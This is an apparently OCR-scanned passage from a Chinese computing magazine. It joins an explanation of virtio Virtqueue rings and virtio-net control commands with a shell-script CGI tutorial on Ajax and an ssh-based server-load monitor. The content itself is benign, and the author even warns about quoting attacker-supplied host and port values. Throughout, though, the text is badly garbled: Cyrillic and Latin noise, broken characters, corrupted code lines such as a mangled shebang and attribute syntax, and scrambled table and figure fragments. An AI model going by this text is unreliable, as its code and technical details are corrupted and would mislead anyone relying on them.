传输 一 个 数据 使 用 一 个 描述 符 ， 描 述 符 中 
含有 数据 的 地 址 、 数 据 长 度 等 信息 GRE 1 )。 

数据 地 址 使 用 的 是 客户 机 上 的 物理 地 址 ， 
如 果 是 虚拟 地 址 连续 而 物理 页 不 连续 的 空间 ， 
则 每 一 个 物理 页 都 需要 一 个 描述 符 。 


(2 由 Virtio Header 的 QUEUE _ NUM 指定 。 


У 1 Virtqueue 的 构造 


Descriptor Table 


isq 


Available Ring 


available 


available 
available 
used_event 


Used Ring 


used 

used 

used 
avail event 


#1 描述 符 的 构造 
member 


数据 的 地 址 (客户 机 的 物理 地 址 ) 


NNLLA 


HEE 22 TXRTI. Hs Hb next $Ë 
定 下 一 个 描述 符 的 编号 ， 并 把 fags 设 置 为 0xl 
BI nf 。 


间接 摘 述 符 


(Indirect Descriptor ) 


有 某 些 种 类 的 virtio 设 备 能 够 通过 大 量 、 并 
行 地 发 出 使 用 多 个 描述 符 的 请 求 ( request ) Ж 
提高 性 能 。 

间接 描述 符 就 是 被 用 于 这 种 使 用 方式 的 。 
T YET Парз X OxA Н, addr z&zn IH] ZR T 
表 的 地 址 ，len 表 示 间 接 描述 符 表 的 长 度 ( 字 
TO. 

与 描述 符 表 一 样 ， 间 接 描述 符 表 也 是 描述 
符 的 队列 。 间 接 描 述 符 表 中 包含 的 描述 符 的 个 
数 为 lan / 164. 

每 个 间接 描述 符 的 数据 都 会 被 连接 到 间接 
描述 符 表 的 描述 符 上 。 


Available Ring 

Available Ring 用 于 指定 客户 机 问 箱 主机 传 
输 的 描述 符 ( 表 2 )„ 7 Available Ring 上 
的 空闲 项 中 写 和 人 描述 符 的 编号 并 将 idx 加 1。 由 
于 idx 被 设计 成 了 持续 加 1 的 使 用 方式 ， 当 idx 
的 值 超过 Available Ring KERT, E 5| (E 8b 2y 
idx 除 以 Available Ring 长 度 的 余数 。 

和 宿主 机 记录 下 最 后 处 理 的 Available Ring 
项 的 编号 (后 述 )， 将 其 与 idtx 比较 ， 并 处 理 较 
新 项 指向 的 描述 符 。 


(3) 因为 一 个 描述 符 的 长 度 为 16bytes。 


description 


数据 长 度 


BERT ( Indirect Description ) ) 
下 一 个 摘 述 符 的 编号 


U16 next 


标志 位 ( 0х1: 下 面 是 否 还 有 描述 符 /0x2: 在 宿主 机 看 来 是 否 是 Write Only 的 描述 符 /0x4: 是 否 是 间 


PE ~ A 人 A 八 PF 


AN fT Le 
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Used Ring 


Used Ring JH T HS E fei ENLI 2 P! DLP dy 
的 描述 符 ( 表 3 )。 

其 结构 和 使 用 方法 基本 与 Available Ring JH 
|F], 但 UsedRing 上 的 项 的 结构 与 Available Ring 
不 同 ， 它 使 用 最 靠 前 的 描述 符 的 编号 (id ) 和 长 
FE (len ) 来 指定 连续 的 描述 符 的 范围 ( 表 4 )。 


Virtqueue 里 没有 的 参数 


“= 
ML 


fi FH Virtqueue 进行 数据 传输 时 ， 还 要 用 到 
下 列 这 些 没 有 包含 在 Virtqueue 之 内 的 参数 。 


e 客户 机 驱动 器 
e free head: 为 了 管理 空闲 描述 符 ， 
始终 记录 着 最 靠 前 的 空闲 描述 符 的 


编号 
e last used idx.……: 最 后 处 理 的 Used 
Ring + 69 A 69 258 > 
e 信 主 机 驱动 器 
e last avail idx…… 最 后 处 理 的 Available 
Ring 上 的 项 的 编号 


w=2 Available Ring 的 构造 


type member 


U16 idx 


标志 位 ( 0x1: 暂时 关闭 中 断 ) 


Available Ring 上 的 最 新 项 的 编号 


基于 virtio 的 半 虚 拟 化 设备 之 二 


实现 Virtqueue 与 virtio-net 


客户 机 一 宿主 机 方向 的 \ 
数据 传输 方法 2 


下 面 介绍 从 客户 机 和 同和 宿主 机 传输 数据 时 如 
fap fii FH d 35 3€. Available Ring, Used Ring 
(42). 

在 这 一 方向 上 的 数据 传输 过 程 中 ， 
Available Ring 用 于 通知 含有 传输 数据 的 描述 符 ， 
mi Used Ring 则 用 于 回收 使 用 完毕 的 描述 符 。 


己 客 尸 机 驱动 器 
下 面 按 编号 来 依次 解读 图 2。 


— 


. 驱动 器 初始 化 时 ， 事 先 将 所 有 描述 符 的 
next 的 值 设置 为 相 令 描述 符 项 的 编号 ， 
生成 空闲 描述 符 串 ， 将 free head 设 为 描 
述 符 串 中 最 靠 前 的 描述 符 的 编号 

.从 free head 的 值 中 取得 空闲 描述 符 的 编号 

.将 描述 符 的 addr 设 为 数据 的 地 址 ， 将 
len 设 为 数据 长 度 

.将 free head 设 为 描述 符 的 next 指 向 的 下 
一 个 空闲 描述 符 的 编号 

5. 将 Available Ring 的 idx 指 向 的 空闲 项 设 

为 描述 符 的 编号 


ш М 


> 


description 


ul6[QUEUE NUM] Iring 


写 入 描述 符 编 号 的 Available Ring 的 主体 部 分 


u16 used_event 


KAPA EREA SEN m S АУНАУ Е 


ү 23 Used Ring 的 构造 


member description 
标志 位 ( 0х1: 暂时 关闭 客户 机 发 来 的 通知 ) 
u16 idx Used Ring 上 的 最 新 项 的 编号 
UsedRingEntry[QUEUE_NUM] | гіпо 写 入 描述 符 编 号 的 Used Ring 的 主体 部 分 
ulg avail_event ЙА 2) ААХЕН 5 НУЧ 5656 


4 Used Ring 项 的 构造 


member 


= 


ВАЧАМ НУВ = 


description 


ZJE 
TEASER R ТЕЛЕ 
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6. 将 Available Ring 42 idx 20 1 3p 24) 

7. 将 队列 编号 写 入 Virtio Header t QUEUE 
SEL 

8. 通知 宿主 机 有 未 处 理 的 数据 ， 向 Virtio 
Header 的 QUEUE NOTIFY 执 行 写 入 
Bag 


«$ 入 主机 驱动 器 
下 面 按 编号 来 依次 解读 图 2。 


9. 接收 客户 机 的 通知 并 将 last avail idx 与 
Available Ring 的 idx 相 比较 ， 处 理 较 新 
项 指向 的 描述 符 并 将 last avail idx 加 1 

10. 将 Used Ring 的 idx 指 向 的 下 一 个 空闲 

项 设 为 处 理 完毕 的 描述 符 的 编号 
11. 将 Used Ring 的 idx 加 1 
12. 通 知客 户 机 处 理 已 经 
发 出 中 断 


又 结束 ， 向 客户 机 


性 客 尸 机 驱动 器 
下 面 按 编号 来 依次 解读 图 2。 


13. 接 收 宿主 机 的 中 断 并 将 last_used idx 
5 Used Ring 的 idx 相 比较 ， 回 收 较 新 
项 指向 的 处 理 完毕 的 描述 符 并 将 last_ 
used idx 加 1 

14. 将 回收 对 象 的 描述 符 归 还 到 空闲 描述 
符 的 串 中 并 更 新 free_ head 


宿主 机 一 客 尸 机 方 回 的 


数据 传输 万 法 
下 面 介绍 从 宿主 机 向 客户 机 传输 数据 时 如 


何 使 用 描述 
(图 3 )。 
在 这 一 方向 的 数据 传输 过 程 中 ，Available 
„ллы ш 
通知 含有 传输 数据 的 描述 符 。 


符 表 、Available Ring, Used Ring 


D 写 人 QUEUE NOTIFY 会 导致 VMExit 发 生 ， 使 控制 转移 
至 宿主 机 方 。 


Hypervisor 


下 ENF 


性 客 尸 机 驱动 器 
下 面 按 编号 来 依次 解读 图 3。 


. 驱动 器 初始 化 时 ， 事 先 将 所 有 描述 符 的 
next 的 值 设 置 为 相 邻 描述 符 项 的 编号 ， 
生成 空闲 描述 符 串 ， 将 free head 设 为 描 
述 符 串 中 最 靠 前 的 描述 符 的 编号 

2. 将 Available Ring 的 idx 指向 的 下 一 个 空 

闲 项 设 为 空闲 描述 符 串 中 最 靠 前 的 项 的 
编号 

3. 将 Available Ring 的 idx 加 1 

4. 将 队列 编号 写 入 Virtio Header 的 QUEUE 

SEL 
5. 通知 宿主 机 有 未 处 理 的 数据 ， 向 Virtio 
Header 的 QUEUE NOTIFY 执行 写 入 操作 


— 


< 宿主 机 驱动 器 
下 面 按 编号 来 依次 解读 图 3。 


6. 接收 发送 数 据 的 请 求 并 参照 Available 
Ring， 读 取 所 需 数 量 的 描述 符 
7. 将 描述 符 从 Available Ring 上 的 描述 符 


v2: 客户 机 一 宿主 机 方向 的 数据 传输 示意 图 
Descriptor Table ^ Available Ring Used Ring 


1 LH 


free head idx idx 
last avail. idx last used idx 


free_head idx idx 
last_avail_idx 


6 Hu К шиши 


free_head idx idx 
last avail_idx last used_idx 


11 „аза ш и 


free_head idx idx 
last avail. idx last used idx 


14 2L LL "m 


free head idx idx 
last avail. idx 


last used idx 


last used idx 


rz — чә I mpm A "ч . | CO ` =” x A В Le 


ET virtio 的 半 虚 拟 化 设备 之 二 


实现 Virtqueue 与 virtio-net 


obi 
8. 将 描述 符 的 addr 设 为 数据 的 地 址 ， 将 
len 设 为 数据 长 度 
9. 将 Used Ring 的 idx 指向 的 下 一 个 空闲 项 
设 为 描述 符 的 编号 


10. 将 Used Ring 的 idx 加 1 
11. 通 知客 户 机 有 未 处 理 的 数据 ， 向 客户 
机 发 出 中 断 


<9 客户 机 驱动 器 
下 面 按 编 号 来 依次 解读 图 3。 


12. 接 收 宿主 机 的 中 断 并 将 last used idx 
与 Used Ring 的 idx 相 比较 ,处 理 较 新 
项 指向 的 处 理 完毕 的 描述 符 并 将 last 


у” з 宿主 机 一 客户 机 方向 的 数据 传输 示意 图 
Descriptor Table Available Ring Used Ring 


LPD AL LL 


free head idx idx 
last avail idx last used idx 


3 |о{1{2{3] E тане 


free head > x i w: Е, 


last avail idx last used idx 


6 [ofiter] AL LI. LH 


free head > X E. d 


last avail idx last used idx 


8 |0{1{2]3] „һин нини 


free head > х d i к, 


last avail idx last used idx 


10 |0{1{2]3 H8 —— " 1_ 


free head X E. ra 
last avail. idx last used idx 


12 |0{1{2]3 gH. —— 2 —— 


free head > x | d | w: 


last_avail_idx last used idx 


13 |orrp2|9 EE „һин 


free head > x i d i Z 


last_avail_idx last used_idx 


rz Маин * у pm A к= 


used idx % 1 
13. 将 妃 理 完 毕 的 描述 符 归 还 到 空闲 描述 
符 的 串 中 ， 更 新 Available Ring 


virtio-net 由 接收 队列 、 发 送 队 列 、 控 制 队 
列 这 三 个 Virtqueue 构 成 。 
发 送 队 列 和 控制 队列 按照 客户 机 一 箱 主 机 


方 回 的 数据 传送 方法 中 介绍 的 流程 传输 数据 。 
接收 队列 按照 簿 主机 一 客户 机 方 回 的 数据 传输 
方式 中 介绍 的 流程 传输 数据 。 接 收 队列 和 发 送 
队列 中 , 每 个 数据 包 (packet ) 使 用 一 个 描述 符 。 

将 描述 符 的 addr 下 接 设 为 数据 包 的 地 址 ， 
H Y Ata 3 BLBK аа 4 BLUR SJ ЭШ ЖИЛЕ 
HAL, ТЕСЕ НАТИ m AIA 224 u haji Г е 
用 的 结构 ( 表 5、 图 4)。 

在 控制 队列 中 ， 为 指令 用 的 结构 体 ( 表 6、 
图 5 ) 设 置 指令 名 ,并 从 客户 机 向 答 主 机 发 送 
消息 。 如 果 指 令 还 需要 附加 数据 ， 则 需要 在 
指令 用 的 结构 体 后 面 配置 数据 。 指 令 可 按照 
Class( 大 项 目 ) 和 指令 (小 项 目 ) 进 行 如 下 分 类 。 

VIRTIO NET CTRL_RX Class 有 下 列 指令 ， 
能 够 将 NIC 的 混杂 模式 (Promiscuous Mode ). 
广播 ( Broadcast ) 接 收 模式 、 组 播 ( Multicast ) 
接收 模式 等 模式 设置 为 有 效 或 者 无 效 。 


VIRTIO NET СТВІ, RX PROMISC 

* VIRTIO NET CTRL RX ALLMULTI 
* VIRTIO NET CTRL RX ALLUNI 

* VIRTIO NET CTRL RX NOMULTI 

* VIRTIO NET CTRL RX NOUNI 

* VIRTIO NET CTRL RX NOBCAST 


VIRTIO NET CTRL MAC Class 有 下 列 指 
令 ， 用 于 设置 MAC 过 滤 表 。 


RI 


* VIRTIO NET CTRL MAC TABLE SET 
* VIRTIO NET CTRL MAC ADDR SET 
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129 


ИЛ ШУЛ 8, m e 


正确 理解 虚拟 化 技术 


VIRTIO NET CTRL VLAN Class 有 下 列 
指令 ， 用 于 设置 VLAN。 


* VIRTIO NET CTRL VLAN ADD 
* VIRTIO NET CTRL VLAN DEL 


VIRTIO NET CTRL ANNOUNCE Class 
有 下 列 指 令 ， 用 于 对 连接 状态 (Link Status ) 通 
知 返 回 ack 应 答 消 息 。 


。VIRTIO NET CTRL ANNOUNCE 
* VIRTIO NET CTRL ANNOUNCE ACK 


VIRTIO NET CTRL MQ Class # F # 45 
令 ， 用 于 配置 多 重 队 列 ( MultiQue )。 


` 


* VIRTIO NET CTRL MQ VQ PAIRS SET 
* VIRTIO NET CTRL MQ VQ PAIRS MIN 
* VIRTIO NET CTRL MQ VQ PAIRS MAX 


Үү 5 structvirtio net hdr 


flags 


标志 位 ( Checksum offload ) 


“Зы 


以 上 对 Virtqueue 和 用 其 实现 NIC(virtio- 
net ) 的 方法 进行 了 介绍 。 下 一 回 我 们 将 对 介绍 
过 的 内 容 进 行 总 结 ， 俯 膨 虚 拟 系 统 的 全 貌 。 


” 4 ”传输 队列 的 数据 结构 
| «— — desc.adar 
virtio net сї hdr 


desc.len packet data 


У 85 控制 队列 的 数据 结构 


| | «— desc.addr 
desc.len | virtio net ctrl hdr 


description 


u8 gso_type 


GSO ( Generic Segmentation Offload ) 数据 包 类 型 信息 


u16 hdr_len 


Ethernet + IP + TCP/UDP 包 头 长 度 


数据 长 度 


gso_size 


и16 csum_start 校 验 和 段 的 位 置 
и16 сѕит offset 开始 计算 校 验 和 的 位 置 


w=6 structvirtio net ctrl hdr 


member 


Class (大 项 ) 


description 


虽 令 ( 小 项 ) 


г — чә I mpm A г . | c0 97 59 x A =f Ã— Le 


轻松 获取 文本 数据 


在 “用 shell 脚本 实现 CGI 这 个 企划 下 ， 
之 前 已 经 进行 了 两 次 连载 ， 本 回 是 这 个 企划 的 
最 终 回 了 。 既 然 是 最 终 回 ， 那 我 们 就 讲 一 讲 看 
似 和 shell 脚 本 不 搭 边 的 Ajax。 

Ajax Ж л Asynchronous JavaScript + XML 
的 缩写 ,也 不 是 什么 难 懂 的 词 。 不 过 有 的 人 
会 把 jQuery 等 和 Ajax 没有 直接 关系 的 技术 和 
Ajax 进行 搭配 记忆 ， 所 以 总 会 有 人 觉得 Ajax 
是 门槛 很 高 的 技术 。 

本 回 ， 我 们 只 用 JavaScript 和 shell 脚本 来 实 
现 Ajax， 也 借 此 机 会 告诉 大 家 Ajax 其 实 并 没有 
想象 中 的 复杂 。 虽 然 需 要 一 定 的 JavaScript 知 识 ， 
但 是 JSON、XML jQuery. prototype.js 55 # Á 
会 出 现 。 因 为 这 些 和 Ajax 在 本 质 上 是 没有 关系 的 。 


语言 和 属性 应 该 和 事物 的 本 质 一 致 ， 
而 不 应 该 让 本 质 服从 语言 。 也 就 是 说 ， 先 
有 事物 的 存在 , 语言 只 是 随后 产生 的 东西 。 
伽利略 


B: E EIER ESI, 笔者 用 Mac 启 动 Apache 
服务 ， 对 代码 进行 了 确认 。 而 本 回 ， 除 CGI 脚 
本 之 外 ， 还 需要 用 浏览 锅 浏 览 静态 的 HIML 文 
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编写 CGI 脚本 ( 3 ) 


aX 动 态 更 新 页 面 


ft, 在 笔者 的 Mac 中 ，HTML 文 件 好 像 默 认 存 
放 在 文件 夹 Library/WebServer/Documents/ F 
面 。 在 上 上 回 ， 我 们 曾 做 了 一 个 叫 作 /cgi-bin/ 
的 符号 链接 ， 并 链接 到 了 存放 CGI 脚 本 的 位 置 ， 
这 次 也 同样 做 一 个 符号 链接 。 

操作 顺序 如 图 1 所 示 。 如 果 有 读者 没有 读 
过 上 上 回 和 上 回 的 文章 ， 如 图 1 的 Ils 输出 那样 
进行 设 定 也 是 OK 的 。 

准备 就 绪 以 后 ， 执 行 如 下 命令 启动 Apache。 


$ sudo apachectl start 


另外 , 虽然 本 回 是 在 Mac 上 运行 CGI 脚 本 ， 
不 过 以 后 的 课题 中 CGI 脚 本 都 是 通过 Linux 服 
务 硕 和 ssh 命 令 进 行 通信 的 。 根 据 课 题 的 实际 
情况， 作为 前 提 和 条件， 通信 方 的 Linux JR $58 


需要 安装 Sar 命令 O 


Ajax 的 实现 方法 


Ө» 动态 改写 Web 页 面 


首先 ， 我 们 来 看 一 个 简单 的 例 于 。 所 谓 Ajax 
其 实 就 是 在 背后 用 JavaScript 调 用 CGI 脚本 ， 用 
取得 的 结果 把 浏览 右 显 示 的 Web 页 面 的 局 部 内 
容 进 行 改写 的 方法 。 也 就 是 说 ， 只 要 在 HTML 
文件 中 写 上 这 种 结构 的 Javascript 就 可 以 了 。 

实现 这 个 过 程 的 最 小 结构 是 如 代码 清单 1 所 
示 的 HTML 文件。 虽然 这 个 例子 是 用 HTML5 
编写 的 ,但 用 HITML4.01 或 者 XHTML 也 是 没 
问题 的 。 
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因为 这 次 不 主讲 shell 脚 本 ， 所 以 这 里 就 
不 对 例子 进行 详细 说 明了 ， 不 过 最 起 码 应 该 知 
道 的 知识 点 还 是 需要 解说 一 下 的 。 比 如 ， 通 过 
第 16 行 的 onload="callCgi() "语句 ， 浏 览 器 在 
显示 这 个 HIML 的 内 容 时 ， 就 会 启动 第 6 行 用 
functiom~ 定 义 的 函数 。 在 第 8 11 行 调用 CGI 
脚本 ， 在 第 12 行 取得 由 CGI 脚本 传输 过 来 的 字 
符 串 。 然 后 ， 取 得 的 字符 串 就 通过 第 12 行 前 半 
句 的 document.body.innerHTML =, [CA Sil] bog 
РАДАН BS AT s W| dE zh Е ОУК АЖ 
出 反映 , 这 样 页 面 就 可 以 把 代入 的 值 呈 现 出 来 了 。 

另外 还 必须 对 调用 CGI 脚本 的 部 分 进行 
一 下 说 明 。 首 先 ， 第 8 行 中 使 用 了 了 POST 方法 ， 
表示 要 往 /cgibin/show.cgi 里 传输 数据 。 上 回 
曾经 使 用 了 GET 方法 向 CGI 脚本 传输 字符 串 ， 
POST 是 给 CGI 脚本 传输 数据 的 另 一 种 方法 。 
另 一 个 参数 false 现 在 可 以 先 不 管 。 第 9、10 行 
用 来 做 成 调用 show.cgi 时 所 使 用 的 HITP 头 。 


У (5565881 实现 Ajax 的 最 小 结构 的 HTML( “/html/ajax1.html ) 


3C bs E 38] H] show.cgi H9 5 11 1T, [п] show.cgi 
传输 了 dummy=< 随 机 数 > 字 符 串 。 如 有 果 每 次 都 用 
POST 传输 相同 的 字符 串 的 话 ， 有 的 浏览 希 就 
会 偷懒 不 调用 CGI 脚 本 了 ， 所 以 为 了 防止 出 现 
这 种 现象 ， 就 需要 使 用 随机 数 。 然 而 ， 这 个 地 
方 的 JavaScript 的 写法 把 本 来 单纯 的 HITP 捆 绑 
得 复杂 了 ， 老 实说 感觉 很 不 自然。 大 家 是 什么 
样 的 感觉 呢 ? 

接 下 来 我 们 编写 从 HTML 调用 的 show.cgi 
脚本 。 其 实 只 要 传输 一 个 任意 的 字符 串 浏 览 硕 
就 能 显示 出 来 就 行 ， 不 过 这 里 我 们 编写 如 代码 
清单 2 所 示 的 能 进行 date 输 出 的 脚本 。 

正如 这 样 ， 输 出 HIML 头 之 后 才 执行 date。 
只 传输 时 间 ( date ) 也 没什么 意思 ， 因 此 这 里 还 
指定 了 用 strong 标 记 的 CSS 样 式 。 修 改 show. 
cgi 的 许可 使 之 可 以 执行 后 ,用 浏览 大 查看 
ajax1.html。 如 末 显 示 出 如 图 2 所 示 的 用 较 大 的 
加 粗 字 体 显示 的 时 间 的 话 ， 就 表示 执行 成 功 了 。 

show.cgi 和 普通 的 CGI 肢 本 一 样 ， 
先 输出 HIML 头 ， 然 后 输出 HTML 的 


01 <!DOCTYPE html> 

02 <html lang="ja"> 

03 <head> 

04 <meta charset="UTF-8" /> 


05 <script> 

06 function callCgi Ot 

07 var h = neu XMLHttpRequest(); 

08 h.open(" POST" ,"/cgi-bin/show.cgi", false); 
09 h.setRequestHeader("Content-Type", 

10 "application/x-www-form-urlencoded"); 
11 h.send( "дитту=" + Math.random() ); 

12 document.body.innerHTML = h.responseText; 
13 ) 

14 </script> 

15 </head> 

16 <body onload="callCgi()"> 

17 </body> 

18 </html> 


其 他 部 分 。 和 ajax1.html 相 比 再 简单 不 
过 了 , 但 它 就 是 这 样 的 东西 。 也 有 人 
觉得 “用 JSON 传 输 会 更 完美 " 等 ， 天 
于 这 个 问题 可 以 说 是 众说 纷 经 ， 在 这 
里 就 不 管 这 些 观点 了 。 毕 竟 我 们 没 道 
理 把 简单 的 事情 复杂 化 。 


w[E2 从 ajax1.html 调 用 show.cgi 时 的 页 面 
& С) O / | localhostrajaxl.html x к" 


€ C 


Sun Jun 16 14:25:57 JST 2013 


| localhost/ ajax1.html 


有 图 1 在 HTML 文 件 的 存放 处 添加 链接 改变 所 有 权 


$ ln -s /Library/WebServer/Documents/ html 
$ sudo chown ueda:staff html 
$ ls -lL ~/cgi-bin ~/html 


Lruxr-xr-x 1 ueda staff 35 4 22 23:52 /Users/ueda/cgi-bin -> /Library/WebServer/CGI- В 
Executables/ 
Lruxr-xr-x 1 ueda staff 29 6 16 11:37 /Users/ueda/html -> /Library/WebServer/Documents/ 
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理论 上 讲 ， 灵 活 应 用 刚才 的 例子 ， 就 可 以 
任意 地 动态 切换 显示 在 浏览 器 上 的 内 容 。 但 是 
过 度 频 索 地 调用 CGI 脚本 会 有 一 个 问题 。 在 如 
代码 清单 2 所 示 的 写法 中 ,在 等 待 CGI 脚本 响 
应 的 期 间 ， 浏 览 需 会 卡 住 。 具 体 来 讲 ， 就 是 鼠 
标 操作 、 字 符 输 入 等 全 都 不 响应 了 。 

实际 上 ，Ajax 还 有 一 种 可 以 不 让 浏览 器 卡 
住 的 写法 ， 如 代码 清单 3 所 示 。 用 浏览 器 打开 
此 页 面 ， 应 该 会 和 ajaxl.html 一 样 把 时 间 显 示 
出 来 。 这 时 你 不 会 发 现 有 什么 变化 ,但 是 如 果 
在 代码 清单 2 的 第 2 行 左 右 的 位 置 加 上 sleep 


ү (58882 CGI 脚本 ( >/cgibin/show.cgi ) 


01 #!/bin/bash 


03 echo 'Content-type: text/html' 

04 echo 

05 echo '«strong style-"font-size:24px'»' 
06 date 

07 echo '</strong>' 


孚 代码 清单 3 把 ajax1.html 用 异步 处 理 的 方法 改写 后 的 HTML 


( ajax2.html ) 
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01 <!DOCTYPE html> 

02 <html Lang="ja"> 

03 <head> 

04 <meta charset="UTF-8" /> 

05 <script> 

06 function callCgi()( 

07 var h = new XMLHttpRequest(); 

08 h.onreadystatechange = function()í 

09 if(h.readyState != 4 || h.status != 200) 
10 return; 

11 

12 document.body.innerHTML = h.responseText; 
13 ) 

14 

15 h.open(" POST" ,"/cgi-bin/show.cgi",true); 
16 h.setRequestHeader(" Content-Type", 

17 "application/x-www-form-urlencoded"); 
18 h.send( "дитту=" + Math.random() ); 

19 J 

20 </script> 

21 </head> 

22 <body onload="callCgi()"> 

23 </body> 

24 </html> 
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编写 CGI 脚本 ( 3 ) 
一 一 使 用 Ajax 动态 更 新 页 面 


10， 浏 览 磺 就 会 等 待 10 秒 ， 这 样 就 能 感 党 到 
区 别 了 。 对 于 代码 清单 1,， 训 览 需 会 处 于 等 待 
状态 (如 果 是 Chrome 或 Firefox 会 出 现 表 示 等 
待 的 不 仿 转 动 的 圆 形 标志 )， 但 代码 清单 3 就 不 
会 变 成 这 样 ， 你 感觉 不 到 浏览 絮 有 所 和 等待 ,但 
其 实 它 是 在 10 秒 后 将 时 间 显 示 出 来 的 。 

那么 代码 清单 3 的 JavaScript 到 底 做 了 什么 
呢 ? 第 8 行 的 h.onreadystatechange 是 指 CGI 
脚本 的 响应 返回 时 所 执行 的 函数 名 ， 这 里 用 = 
function(){... 将 也 数 名 和 函数 内 容 连 接 在 了 
一 起 。 第 8 行 到 第 13 行 中 只 是 将 孔 数 代入 到 汤 
数 名 ， 实 际 上 要 等 到 CGI 脚本 的 响应 返回 时 才 
会 被 执行 。 也 就 是 说 ， 跳 过 第 8 行 到 第 1317, 
执行 了 第 1$ 行 的 open 以 下 的 调用 CGI 脚本 的 
处 理 之 后 ， 这 个 因数 就 结束 了 。open 的 第 3 个 
参数 由 false 变 为 了 true， 表 示 是 “异步 处 理 ” 
的 意思 。 

羡 数 执行 完 之 后 (在 啊 应 非常 快 的 情况 下 
可 能 是 即将 结束 时 )， 会 返回 CGI 脚本 的 啊 应 ， 
此 时 才 会 执行 第 8 行 到 第 13 行 设 定 的 郴 数 。 首 
先 ， 在 第 9 行 确认 


“已 从 CGI 脚本 接收 信息 ( 即 
h.readyState 7j 4 ) 

* 从 CGI 脚本 返回 的 状态 码 是 
OK 的 ( 即 hstatus 5 200 )2 


当 满 足以 上 条 件 时 ， 执 行 第 9 行 以 
后 的 处 理 。 

通过 采用 这 样 的 写法 ,把 获 
取 CGI 脚 本 啊 应 的 处 理 癌 后 延 述 ， 
结果 就 使 人 感觉 在 浏览 各 这 边 好像 
没有 发 生 等 竺 一样 。Ajax 中 一 般 
都 同 本 例 一 样 采 用 异步 方式 , 但 
如 果 不 想 让 页 面 出 现 不 协调 的 地 
方 ， 就 采用 同步 方式 。 比 如 ， 用 
选择 框 选择 都 首府 县 来 动态 切换 
男 外 一 个 表示 市 镇 村 的 选择 框 的 
情况 下 ,如 采用 异步 方式 实现 的 话 ， 


(2) “404 not found” “403 forbidden” 之 类 。 
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驶 可 能 会 出 现 本 来 不 存在 的 都 道 府 县 和 市 镇 村 
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如 果 本 文 到 此 绪 束 的 话 ， 就 变 成 JavaScript 
的 讲座 了 。 所 以 接 下 来 我 们 尝试 结合 shell 脚 
本 做 一 个 可 以 监控 所 管理 的 多 个 服务 器 负荷 的 
TH, 


有 代码 清单 4 用 图 表 表 示 服 务 器 负 和 三 的 CGI 脚 本 
( Idavg.cgi ) 


01 #1/bin/bash -xv 
02 exec 2> /tmp/Log 


04 PATH=/usr/local/bin:$PATH 
05 tmp=/tmp/$$ 


07 dd bs=${CONTENT_ LENGTH} | 
08 cgi-name -i_ -d. > $tmp-name 


10 host=$(nameread host $tmp-name) 
11 port=$(nameread port $tmp-name) 


12 
13 ssh "$host" -p "$port" 'LANG-C sar -q' 
14 grep "^..:..:.." 


| 

| 

15 sed. *s/^VC.0:16G.0 1 ,/MBI N29 7 

16 grep -v (дауд | 

17 tail -r | 
\ 


18 awk '(print NR*20+20,$1,int($4*100), $4, 
19 NR*20+7 ,NR*20+19}' > $tmp-sar 


20 #1: 字 符 y 的 位 置 2: 时 间 3: 柱 状 图 宽度 4:Ldavg 
21 #5: 柱 状 图 的 坐标 y 的 位 置 6:Ldavg 字 符 y 的 位 置 


23 cat << FIN > $tmp-svg 

24 <svg stylez"width:300px;height :600px"» 

25 “text х="@" у="20" font-size-"20"»$host«/text? 
26 «l-- RECORDS —> 

27 | «text х="@" у="/1" font-size="14">%2</text> 

28 《rect х="68" у="/5" widthz" 43" heightz"15" 

29 fillz"navy" stroke-"black" /> 


30 «text х="70" у="/6" font-size-z"10" fill="white">%4</text> 


31 «!-- RECORDS --» 
52 </svg> 
53 FIN 


55 echo "Content-Type: text/html" 
56 echo 
57 mojihame -lRECORDS $tmp-svg $tmp-sar 


59 rm -f $tmp-* 
40 exit 0 
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B 26, н Ajax P E 78 HJ АУ shell 脚本 。 
如 代码 清单 4 所 示 的 shell 脚 本 ， 是 在 用 POST 
方式 传输 卫 地 址 和 ssh 端 口号 后 ， 取 得 那个 
PP 持 有 者 的 平均 负载 ， 并 使 用 SVG(Scalable 
Vector Graphics ) 把 图 表 画 出 来 。 

这 个 例子 有 几 点 需要 说 明 一 下 。 首 先 ， 第 
4 行 的 PATH 的 设置 是 为 了 明确 指定 非 标准 命 
令 写 的 位 置 。 从 终端 手动 执行 shell 脚 本 的 情况 下 ， 
如 有 果 已 经 在 配置 文件 中 事先 写 好 了 路 径 ， 就 不 
用 特别 在 意 这 里 的 设 定 了 ， 但 是 如 条 是 CGI 脚 
本 或 cron 调 用 的 脚本 ， 就 必须 明确 指定 路 径 。 

然后 , 第 7、8 行 的 处 理 是 谈 人 了 POST 过 
来 的 数据 。POST 和 上 回 讲 的 GET 方 法 一 样 ， 
所 做 的 处 理 都 是 从 客户 端 ( 浏 览 带 ) 给 CGI 肢 
本 传输 数据 。GET 是 把 数据 装载 到 一 个 叫 作 
QUERY_STRING 的 变量 中 , 而 POST 则 是 用 
Apache 将 数据 传输 到 CGI 脚本 的 标准 输入 ， 然 
后 再 用 dd 命令 抽取 出 来 。 这 里 的 dd 命令 就 是 指 
可 以 将 HDD 的 整个 内 容 抽 取出 来 的 命令 。 因 为 
是 标准 输入 ， 所 以 好 像 应 该 还 有 更 简单 的 方法 ， 
但 是 笔者 进入 USP 研 究 所 时 研究 所 用 的 就 是 这 
个 方法 ， 所 以 也 就 没有 去 尝试 其 他 的 方法 外。 

在 笔者 的 公司 还 有 一 个 规定 ， 就 是 从 dd 
抽取 出 的 数据 要 直接 通过 Open usp Tukubai 的 
cgi-name 命令 输出 到 文件 。cgi-name 的 执行 例 
如 图 3 所 示 。 从 HTML 表单 POST 过 来 的 数据 ， 
就 像 这 里 的 echo 选 项 的 字符 串 一 样 ， 所 以 为 了 
让 它 更 容易 被 命令 等 处 理 ， 
会 将 其 转换 成 Key Value zÑ 
的 文本 。 

代码 清单 4 的 第 10、 
11 行 是 把 主机 和 端口 号 分 
别 代 入 到 变量 host、port 
H, nameread 也 是 Open usp 
Tukubai 的 命令 ， 用 来 从 文 
件 中 取出 指定 key 的 值 。 此 


(3) 这 里 表示 的 是 Openusp Tukubai 时 
的 值 。 

D 这 种 技术 已 经 在 https://uec.usp-lab. 
сот ЭЁ Т о 
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时 ，host、port 变 量 可 能 会 被 代 和 人 奇怪 (攻击 用 ) 
的 值 。 后 面 指定 ssh 选 项 时 ， 一 定 要 引用 起 来 。 
第 13 一 19 行 中 ， 取 得 监视 对 象 Linux 主机 的 
平均 负载 ， 生 成 代入 SVG 的 字符 串 。sar -а 
输出 如 图 4 所 示 。 从 输出 中 去 除 多 余 的 头 部 ， 取 
得 一 个 叫 作 1davg-1 的 字段 ， 就 可 以 输出 画图 时 
